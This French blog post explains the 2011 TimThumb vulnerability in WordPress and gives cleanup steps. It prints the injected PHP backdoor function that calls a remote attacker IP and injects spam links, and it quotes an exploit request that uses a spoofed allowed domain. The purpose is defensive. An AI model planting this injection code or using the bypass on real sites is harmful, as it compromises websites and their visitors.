Timthumb est une librairie utilisée par divers extensions ou thèmes sur WordPress.
Une liste est présente sur cette page : http://blog.sucuri.net/2011/08/attacks-against-timthumb-php-in-the-wild-list-of-themes-and-plugins-being-scanned.html
Début Août une vulnérabilité 0-day a été publiée, celle-ci était exploitée afin de compromettre des sites WEB sur WordPress.
La librairie étant très utilisée, des milliers (millions?) de sites sont potentiellement vulnérables.
Securi.net a suivi l’affaire de près et a publié quelques billets courants Août :
http://blog.sucuri.net/2011/08/wordpress-sites-hacked-with-superpuperdomain-com-attacking-timthumb-php.html
http://blog.sucuri.net/2011/08/wordpress-sites-hacked-with-superpuperdomain2-com.html
http://blog.sucuri.net/2011/08/timthumb-php-vulnerability-not-only-affecting-themes-plugins-too-vslider.html
http://blog.sucuri.net/2011/08/mass-infection-of-wordpress-sites-counter-wordpress-com.html
Les deux plus récents :
http://blog.sucuri.net/2011/08/timthumb-php-attacks-now-being-used-for-blackhat-spam-seo-and-maybe-break-your-site.html
http://blog.sucuri.net/2011/08/timthumb-php-attacks-now-using-googlesafebrowsing-com.html
Le premier explique que les deux pages attaquées sont : wp-settings.php file et wp-config.php qui ajoute le code suivant avec une fonction google_bot :
function google_bot() {$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']);if(!(strpos($sUserAgent, ‘google’) === false)) {if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){$ch = curl_init("http://91.196.216.30/bot.php?ip=’.$_SERVER['REMOTE_ADDR"].’&host=’.$_SERVER['HTTP_HOST'].
‘&ua=’.urlencode($_SERVER['HTTP_USER_AGENT']).’&ref=’.$_SERVER
['HTTP_REFERER']);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 10);$re = curl_exec($ch);curl_close($ch);echo $re;}}}add_action(‘wp_footer’, "google_bot")
Ceci permet la connexion à une url tiers qui permet l’ajout de code sur les pages – par exemple :
<a href="http://albertasportswear.com /wp-content/uploads/sweaters/sweater_tights.html" alt="Sweater Tights" title="Sweater Tights">Sweater Tights</a> dilbert sweater vest comic <br>knitting softwares the knitting room fond du lac <a href="http://bettyoctopus.com /wp-content/uploads/knitting/knitting_instructions.html" alt="Knitting Instructions" title="Knitting Instructions">Knitting Instructions</a> knitting little luxuries louisa harding
Ceci a pour but de provoquer des redirections Google lors de la visite du site : Black SOE vers de fausses pages d’alertes pour faire la promotion de rogues
Le second lien de securi.net explique qu’au lieu d’avoir des modifications des fichiers .htaccess afin d’effectuer du Black SOE, les fichiers jquery.js or l10n.js sont injectés afin de modifier le fichier header.php final
Ceci a pour but de provoquer la connexion vers googlesafebrowsing.com/remoted.cc.txt qui liste des url en domain.us.to/kwizhveo.php ayant comme adresse IP 85.17.19.165 à charger afin de provoquer la redirection.
Vérification de la vulnérabilité Timthumb
Dans un premier temps, vous devez vérifier si la librairie est présente. La commande find sous Linux peux vous y aider : find -iname « *timthumb* » -print
Si le site est chez vous, sous Windows, une simple recherche du fichier suffit.
Mettre à jour WordPress et tous les plugins.
Chercher le code suivant :
$allowedSites = array ( 'flickr.com', 'picasa.com', 'blogger.com', 'wordpress.com', 'img.youtube.com', 'upload.wikimedia.org', 'photobucket.com', );
à remplacer par :
$allowedSites = array();
La vulnérabilité étant que le librairie ne vérifie pas de manière exact l’url, ce qui permet d’utiliser des urls contenant le domaine exemple : flickr.com.hack.com
Exemple : http://pinchii.com/home/2011/08/hack-attempt-on-pinchii-com/
Remote Address:91.224.160.182 Remote Port:47762 Request Method:GET Referer: Query String: Request URI:/home/wp-content/themes/mystique/thumb.php?src=http://blogger.com.bloggera.net/images.php User Agent:Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.62
Une version plus récente de la librairie est disponible : http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php
Vous pouvez toujours tester mais penser à faire une sauvegarde l’ancienne version pour pouvoir revenir en arrière.
Eventuellement faites une recherche du string base64_decode afin de s’assurer qu’aucun shell n’a été uploadé afin de contrôler votre site, par exemple la commande grep peux vous y aider : grep -r base64_decode *
Pour ceux qui sont sous Windows, vous pouvez scanner le répertoire du site, en général, les shells sont bien détectés.
A noter qu’il semblerait que cela a provoqué un fork : http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/
